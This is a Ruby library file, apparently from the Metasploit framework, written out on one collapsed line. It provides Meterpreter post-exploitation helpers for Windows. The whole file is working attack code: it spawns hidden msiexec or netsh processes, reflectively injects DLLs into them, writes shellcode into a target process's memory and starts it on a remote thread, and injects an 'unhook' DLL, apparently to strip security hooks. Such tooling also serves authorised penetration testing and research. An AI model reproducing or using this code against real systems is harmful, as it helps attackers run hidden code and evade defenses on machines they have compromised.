# -*- coding: binary -*- module Msf class Post module Windows module Process include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Post::Process def initialize(info = {}) super( update_info( info, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_sys_config_getenv stdapi_sys_config_sysinfo stdapi_sys_process_attach stdapi_sys_process_execute stdapi_sys_process_getpid stdapi_sys_process_get_processes stdapi_sys_process_memory_allocate stdapi_sys_process_memory_protect stdapi_sys_process_memory_write stdapi_sys_process_thread_create ] } } ) ) end # Checks the architecture of a payload and PID are compatible # Returns true if they are false if they are not def arch_check(test_arch, pid) # get the pid arch client.sys.process.processes.each do |p| # Check Payload Arch if pid == p["pid"] return test_arch == p['arch'] end end end # returns the path to the notepad process based on syswow extension def get_notepad_pathname(bits, windir, client_arch) if bits == ARCH_X86 and client_arch == ARCH_X86 cmd = "#{windir}\\System32\\notepad.exe" elsif bits == ARCH_X64 and client_arch == ARCH_X64 cmd = "#{windir}\\System32\\notepad.exe" elsif bits == ARCH_X64 and client_arch == ARCH_X86 cmd = "#{windir}\\Sysnative\\notepad.exe" elsif bits == ARCH_X86 and client_arch == ARCH_X64 cmd = "#{windir}\\SysWOW64\\notepad.exe" end return cmd end # # Injects a reflective DLL into a process, and executes it. # # @param rdll_path [String] The path to the DLL to inject # @param param [String, Integer, nil] The parameter to pass to the DLL's entry point. If this value is a String # then it will first be written into the process memory and then passed by reference. If the value is an Integer, # then the value will be passed as is. If the value is nil, it'll be passed as a NULL pointer. # @param pid [Integer] The process ID to inject to, if unspecified, a new instance of a random EXE from the # process_list array will be launched to host the injected DLL. def execute_dll(rdll_path, param=nil, pid=nil) process_list = ['msiexec', 'netsh'] if pid.nil? # Get a random process from the process list to spawn. process_cmd = process_list.sample # Use Rex's PeParsey as per Spencer's suggestion to determine the true architecture of the DLL we are injecting. pe = Rex::PeParsey::Pe.new_from_file(rdll_path, true) arch = pe.hdr.file['Machine'].value # If the DLL is x86 but the host architecture is x64, then launch a 32 bit WoW64 binary to inject into. if (arch == Rex::PeParsey::PeBase::IMAGE_FILE_MACHINE_I386) && (session.sys.config.sysinfo['Architecture'] == ARCH_X64) windir = session.sys.config.getenv('windir') process_cmd = "#{windir}\\SysWOW64\\#{process_cmd}.exe" end print_status("Launching #{process_cmd} to host the DLL...") host_process = client.sys.process.execute(process_cmd, nil, { 'Hidden' => true }) begin process = client.sys.process.open(host_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to inject into the current process...') process = client.sys.process.open end else process = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) end print_status("Reflectively injecting the DLL into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, ::File.expand_path(rdll_path)) if param.is_a?(String) # if it's a string, treat it as data and copy it into the remote process then pass it by reference param_ptr = inject_into_process(process, param) elsif param.is_a?(Integer) param_ptr = param elsif param.nil? param_ptr = 0 else raise TypeError, 'param must be a string, integer or nil' end process.thread.create(exploit_mem + offset, param_ptr) nil end # # Injects shellcode to a process, and executes it. # # @param shellcode [String] The shellcode to execute # @param base_addr [Integer] The base address to allocate memory # @param pid [Integer] The process ID to inject to, if unspecified, the shellcode will be executed in place. # # @return [Boolean] True if successful, otherwise false # def execute_shellcode(shellcode, base_addr=nil, pid=nil) pid ||= session.sys.process.getpid host = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) if base_addr.nil? shell_addr = host.memory.allocate(shellcode.length) else shell_addr = host.memory.allocate(shellcode.length, nil, base_addr) end host.memory.protect(shell_addr) if host.memory.write(shell_addr, shellcode) < shellcode.length vprint_error("Failed to write shellcode") return false end vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{pid.to_s})") thread = host.thread.create(shell_addr,0) unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread) vprint_error("Unable to create thread") nil end thread end def inject_unhook(proc, bits, delay_sec) if bits == ARCH_X64 dll_file_name = 'x64.dll' elsif bits == ARCH_X86 dll_file_name = 'x86.dll' else return false end dll_file = MetasploitPayloads.meterpreter_ext_path('unhook', dll_file_name) dll, offset = inject_dll_into_process(proc, dll_file) proc.thread.create(dll + offset, 0) Rex.sleep(delay_sec) end end # Process end # Windows end # Post end # Msf